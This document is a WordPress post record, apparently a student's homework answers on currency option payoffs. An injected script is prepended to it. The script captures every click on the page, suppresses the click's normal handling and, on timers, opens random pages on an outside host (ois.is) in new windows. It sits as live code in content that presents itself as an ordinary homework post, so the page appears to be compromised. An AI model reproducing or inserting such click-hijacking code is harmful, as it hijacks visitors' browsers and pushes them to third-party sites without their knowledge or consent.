<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1023,"date":"2023-04-25T03:06:19","date_gmt":"2023-04-24T19:06:19","guid":{"rendered":"https:\/\/edu.secda.info\/scu8154204\/?p=1023"},"modified":"2023-04-25T03:24:21","modified_gmt":"2023-04-24T19:24:21","slug":"hw4","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu8154204\/?p=1023","title":{"rendered":"HW4"},"content":{"rendered":"<p>1. \u8ce3\u4e00\u500b\u8cb7\u6b0a short a call option<\/p>\n<p>\u6536\u53d6\u6b0a\u5229\u91d1 $0.01*50,000=$500<\/p>\n<p>\u5373\u671f\u532f\u7387-\u5c65\u7d04\u50f9=$0.76-$0.82= -$0.06<\/p>\n<p>-$0.06*50,000= -$3000<\/p>\n<p>\u6de8\u640d\u76ca: -$3000+$500= -$2,500<\/p>\n<p><strong>Answer: -$2,500<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p>3. \u8cb7\u4e00\u500b\u8ce3\u6b0a long a put option<\/p>\n<p>\u652f\u4ed8\u6b0a\u5229\u91d1 -$0.04*31,250= -$1,250<\/p>\n<p>\u5c65\u7d04\u50f9-\u5373\u671f\u532f\u7387=$1.80-$1.59= $0.21<\/p>\n<p>$0.21*31,250=$6562.5<\/p>\n<p>\u6de8\u640d\u76ca: $6562.5-$1,250= $5,312.5<\/p>\n<p><strong>Answer: $5,312.5<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p>4. \u8ce3\u8ce3\u6b0a short put options<\/p>\n<p>\u6536\u53d6\u6b0a\u5229\u91d1 $0.01 per unit<\/p>\n<p>(1) if the spot rate is $0.72<\/p>\n<p>$0.01+$0.72-$0.76= <strong>-$0.03<\/strong><\/p>\n<p>(2) if the spot rate is $0.73<\/p>\n<p>$0.01+$0.73-$0.76= <strong>-$0.02<\/strong><\/p>\n<p>(3) if the spot rate is $0.74<\/p>\n<p>$0.01+$0.74-$0.76= <strong>-$0.01<\/strong><\/p>\n<p>(4) if the spot rate is $0.75<\/p>\n<p>$0.01+$0.75-$0.76= <strong>$0<\/strong><\/p>\n<p>(5) if the spot rate is $0.76<\/p>\n<p>$0.01+$0.76-$0.76= <strong>$0.01<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p>5. \u8cb7\u4e00\u500b\u8cb7\u6b0a long a call option<\/p>\n<p>\u652f\u4ed8\u6b0a\u5229\u91d1 -$0.02*31,250= -$625<\/p>\n<p>$1.46-$1.45=$0.01<\/p>\n<p>$0.01*31,250=$312.5<\/p>\n<p>\u6de8\u640d\u76ca: $312.5-$625= -$312.5<\/p>\n<p><strong>Answer:\u00a0-$312.5<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p>8. \u8cb7\u8ce3\u6b0a long put options<\/p>\n<p>(1) if the spot rate is $0.76<\/p>\n<p>-$0.02+$0.86-$0.76= <strong>$0.08<\/strong><\/p>\n<p>(2) if the spot rate is $0.79<\/p>\n<p>-$0.02+$0.86-$0.79= <strong>$0.05<\/strong><\/p>\n<p>(3) if the spot rate is $0.84<\/p>\n<p>-$0.02+$0.86-$0.84= <strong>$0<\/strong><\/p>\n<p>(4) if the spot rate is $0.87<\/p>\n<p>-$0.02+Max{$0.86-$0.87 , $0} = <strong>-$0.02<\/strong><\/p>\n<p>(5) if the spot rate is $0.89<\/p>\n<p>-$0.02+Max{$0.86-$0.89 , $0}= <strong>-$0.02<\/strong><\/p>\n<p>(6) if the spot rate is $0.91<\/p>\n<p>-$0.02+Max{$0.86-$0.91 , $0}= <strong>-$0.02<\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>1. \u8ce3\u4e00\u500b\u8cb7\u6b0a short a call option \u6536\u53d6\u6b0a\u5229\u91d1 $0.01<\/p>\n","protected":false},"author":15,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/posts\/1023"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/users\/15"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1023"}],"version-history":[{"count":4,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/posts\/1023\/revisions"}],"predecessor-version":[{"id":1027,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/posts\/1023\/revisions\/1027"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1023"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1023"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1023"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}